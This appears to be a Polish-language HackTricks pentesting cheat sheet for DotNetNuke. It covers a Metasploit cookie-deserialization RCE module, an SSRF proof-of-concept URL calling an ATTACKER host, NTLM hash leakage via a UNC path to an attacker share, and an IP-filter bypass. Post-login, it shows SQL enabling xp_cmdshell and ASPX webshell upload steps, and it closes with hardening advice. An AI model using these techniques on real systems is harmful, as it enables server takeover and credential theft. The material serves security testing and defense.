DotNetNuke (DNN)

Reading time: 4 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

DotNetNuke (DNN)

Jeśli zalogujesz się jako administrator w DNN, łatwo uzyskać RCE, jednak w ciągu ostatnich kilku lat opublikowano szereg technik nieautoryzowanych i po autoryzacji. Poniższa ściągawka zbiera najbardziej przydatne prymitywy zarówno do pracy ofensywnej, jak i defensywnej.


Wersja i enumeracja środowiska

  • Sprawdź nagłówek odpowiedzi HTTP X-DNN – zazwyczaj ujawnia dokładną wersję platformy.
  • Kreator instalacji ujawnia wersję w /Install/Install.aspx?mode=install (dostępne w bardzo starych instalacjach).
  • /API/PersonaBar/GetStatus (9.x) zwraca blob JSON zawierający "dnnVersion" dla użytkowników o niskich uprawnieniach.
  • Typowe ciasteczka, które zobaczysz na działającej instancji:
  • .DOTNETNUKE – bilet uwierzytelniania formularzy ASP.NET.
  • DNNPersonalization – zawiera dane profilu użytkownika w formacie XML/serializowanym (stare wersje – patrz RCE poniżej).

Wykorzystanie bez autoryzacji

1. Deserializacja ciasteczek RCE (CVE-2017-9822 i kontynuacje)

Wersje dotknięte ≤ 9.3.0-RC

DNNPersonalization jest deserializowane przy każdym żądaniu, gdy wbudowany handler 404 jest włączony. Opracowane XML może zatem prowadzić do dowolnych łańcuchów gadżetów i wykonania kodu.

msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST  <attacker_ip>
msf> run

Moduł automatycznie wybiera odpowiednią ścieżkę dla załatanych, ale wciąż podatnych wersji (CVE-2018-15811/15812/18325/18326). Wykorzystanie działa bez uwierzytelnienia w wersjach 7.x–9.1.x oraz z zweryfikowanym kontem o niskich uprawnieniach w wersjach 9.2.x+.

2. Server-Side Request Forgery (CVE-2025-32372)

Wersje dotknięte < 9.13.8 – Łatka wydana w kwietniu 2025

Ominięcie starszej poprawki DnnImageHandler umożliwia atakującemu zmuszenie serwera do wydawania dowolnych żądań GET (pół-ślepy SSRF). Praktyczne skutki:

  • Wewnętrzne skanowanie portów / odkrywanie usług metadanych w wdrożeniach w chmurze.
  • Uzyskanie dostępu do hostów, które są inaczej chronione przed Internetem.

Dowód koncepcji (zastąp TARGET i ATTACKER):

https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc

Żądanie jest wyzwalane w tle; monitoruj swój nasłuchiwacz w poszukiwaniu wywołań zwrotnych.

3. Ekspozycja hasha NTLM za pomocą przekierowania UNC (CVE-2025-52488)

Dotknięte wersje 6.0.0 – 9.x (< 10.0.1)

Specjalnie przygotowana treść może spowodować, że DNN spróbuje pobrać zasób za pomocą ścieżki UNC takiej jak \\attacker\share\img.png. Windows chętnie przeprowadzi negocjację NTLM, ujawniając hashe konta serwera atakującemu. Zaktualizuj do 10.0.1 lub wyłącz wychodzący SMB w zaporze.

4. Ominięcie filtra IP (CVE-2025-52487)

Jeśli administratorzy polegają na Filtrach Host/IP w celu ochrony portalu administracyjnego, należy pamiętać, że wersje przed 10.0.1 mogą być ominięte poprzez manipulację X-Forwarded-For w scenariuszu odwrotnego proxy.


Post-autoryzacja do RCE

Poprzez konsolę SQL

W Ustawienia → SQL wbudowane okno zapytań pozwala na wykonanie zapytań przeciwko bazie danych witryny. Na Microsoft SQL Server możesz włączyć xp_cmdshell i uruchomić polecenia:

sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';

Via ASPX webshell upload

  1. Przejdź do Settings → Security → More → More Security Settings.
  2. Dodaj aspx (lub asp) do Allowable File Extensions i Zapisz.
  3. Przejdź do /admin/file-management i załaduj shell.aspx.
  4. Uruchom go pod /Portals/0/shell.aspx.

Privilege Escalation on Windows

Gdy uzyskasz wykonanie kodu jako IIS AppPool<Site>, stosuje się powszechne techniki eskalacji uprawnień w systemie Windows. Jeśli system jest podatny, możesz wykorzystać:

  • PrintSpoofer / SpoolFool do nadużycia SeImpersonatePrivilege.
  • Juicy/Sharp Potatoes do ucieczki z Service Accounts.

Hardening Recommendations (Blue Team)

  • Upgrade do co najmniej 9.13.9 (naprawia obejście SSRF) lub najlepiej 10.0.1 (problemy z filtrowaniem IP i NTLM).
  • Usuń pozostałe pliki InstallWizard.aspx* po instalacji.
  • Wyłącz wychodzący SMB (porty 445/139).
  • Wymuś silne Host Filters na krawędzi proxy zamiast w DNN.
  • Zablokuj dostęp do /API/RemoteContentProxy, jeśli nie jest używane.

References

  • Metasploit dnn_cookie_deserialization_rce module documentation – practical unauthenticated RCE details (GitHub).
  • GitHub Security Advisory GHSA-3f7v-qx94-666m – 2025 SSRF bypass & patch information.

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks